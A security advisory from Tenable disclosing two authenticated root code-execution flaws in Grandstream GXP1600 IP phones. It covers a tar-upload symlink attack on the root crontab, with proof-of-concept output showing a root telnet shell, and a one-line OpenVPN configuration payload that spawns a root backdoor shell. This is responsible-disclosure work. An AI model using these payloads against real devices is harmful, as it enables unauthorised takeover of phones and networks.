tenable

Grandstream GXP1600 Series Multiple Issues

Critical

← View More Research Advisories

Synopsis

While investigating the Grandstream GXP1625, Tenable found a couple of vulnerabilities that allow an authenticated remote attacker to gain root access.

CVE-2020-5738: Authenticated RCE via Tar Upload

A remote authenticated attacker can abuse the endpoint */cgi-bin/upload_vpntar* to achieve arbitrary code execution as **root**. *upload_vpntar* accepts a tar file that is unpacked into */var/user/openvpn/*. The untarring allows for symlinks to be dropped in */var/user/openvpn*. An attacker can then untar through the symlink to anywhere writeable on disk. Specifically, the */var/spool/cron/crontabs/* directory is writeable. By overwriting the root crontab file, an attacker can execute arbitrary scripts and therefore achieve root access.

The following is the output from our proof of concept which you can find on GitHub. The PoC will upload a tar file which will overwrite the root cron and execute the script */var/user/openvpn/attack_script* to enable a backdoor on 1270. Note that it may take a minute for the crontab to be processed.

```
albinolobster@ubuntu:~/poc/grandstream/gxp1600$ telnet 192.168.2.104 1270
Trying 192.168.2.104...
telnet: Unable to connect to remote host: Connection refused
albinolobster@ubuntu:~/poc/grandstream/gxp1600$ python3 upload_rce.py -i 192.168.2.104 -p 80 --pass labpass1
[+] Logging in via http://192.168.2.104:80/cgi-bin/dologin
[+] Logged in. sid: 197489727e1586805795
[+] Uploading the tar
[+] Success!

albinolobster@ubuntu:~/poc/grandstream/gxp1600$ telnet 192.168.2.104 1270
Trying 192.168.2.104...
telnet: Unable to connect to remote host: Connection refused
albinolobster@ubuntu:~/poc/grandstream/gxp1600$ telnet 192.168.2.104 1270
Trying 192.168.2.104...
Connected to 192.168.2.104.
Escape character is '^]'.
# uname -a
Linux gxp1625_000b82af91ab 3.4.20-rt31-dvf-v1.3.1.2-rc1 #5 PREEMPT Fri Oct 11 11:56:43 PDT 2019 armv5tejl GNU/Linux
# whoami
root
#
```

CVE-2020-5739: Authenticated RCE via OpenVPN Configuration File

A remote authenticated attacker can abuse the *OpenVPN Settings* to achieve arbitrary code execution as root. The *Additional Options* field allows the user to append arbitrary OpenVPN configuration settings to the config file. If a user were to append the following:

```
script-security 2; up "/bin/ash -c 'telnetd -l /bin/sh -p 1271'";
```

Then, when the VPN connection has been established, OpenVPN will execute the *up script* and thereby open a root backdoor on port 1271. If you don't mind a little self-promotion, I suggested this attack in a blog titled, *Reverse Shell from an OpenVPN Configuration File* a couple of years ago.

Solution

At the time of writing, Grandstream has yet to release a patch.

Additional References

https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d38da

Disclosure Timeline

01/10/2020 - Unable to find a security contact, Tenable contacted Grandstream on Twitter. Also reached out to Brendan Scarvell in hope he might know something.
01/10/2020 - Brandon helpfully replies.
01/11/2020 - Tenable asks for security contact via Grandstream helpdesk (ticket 20200111084200).
01/12/2020 - Grandstream asks for clarification.
01/12/2020 - Tenable reiterates desire for a security email contact.
01/12/2020 - Grandstream indicates they will diagnosis the issue via the ticket.
01/12/2020 - Tenable again asks for final clarification on security contact.
01/12/2020 - Grandstream prompts Tenable to disclose via Helpdesk.
01/12/2020 - Tenable discloses. 90 day set to April 13, 2020.
01/12/2020 - Grandstream indicates "a bug has been open."
01/12/2020 - Grandstream asks for the exploit script.
01/12/2020 - Tenable points out its already attached to the ticket.
02/17/2020 - Grandstream sends engineering build.
02/17/2020 - Tenable confirms the fixes work.
03/20/2020 - Tenable checks in on Grandstream.
03/20/2020 - Grandstream indicates no ETA for release.
03/20/2020 - Tenable reminds Grandstream of the April 13 disclosure deadline.
03/20/2020 - Grandstream acknowledges.
04/02/2020 - Grandstream sends another test build.

All information within TRA advisories is provided "as is", without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email advisories@tenable.com

Risk Information

CVE ID: CVE-2020-5738
CVE-2020-5739
Tenable Advisory ID: TRA-2020-22
Credit: Jacob Baines

CVSSv2 Base / Temporal Score: 9.0 / 8.5
CVSSv2 Vector: AV:N/AC:L/Au:S/C:C/I:C/A:C
Affected Products: Grandstream 16xx 1.0.4.152
Risk Factor: Critical

Advisory Timeline

April 13, 2020 - Initial Release

FEATURED PRODUCTS

Tenable One Exposure Management Platform

Tenable.cs Cloud Security

Tenable.io Vulnerability Management

Tenable.io Web App Scanning

Tenable.asm External Attack Surface

Tenable.ad Active Directory

Tenable.ot Operational Technology

Tenable.sc Security Center

Tenable Lumin

Nessus

→ View all Products

FEATURED SOLUTIONS

Application Security

Building Management Systems

Cloud Security Posture Management

Compliance

Exposure Management

Finance

Healthcare

IT/OT

Ransomware

State / Local / Education

US Federal

Vulnerability Management

Zero Trust

→ View all Solutions

CUSTOMER RESOURCES

Resource Library

Community & Support

Customer Education

Tenable Research

Documentation

Privacy Policy Legal 508 Compliance
© 2022 Tenable®, Inc. All Rights Reserved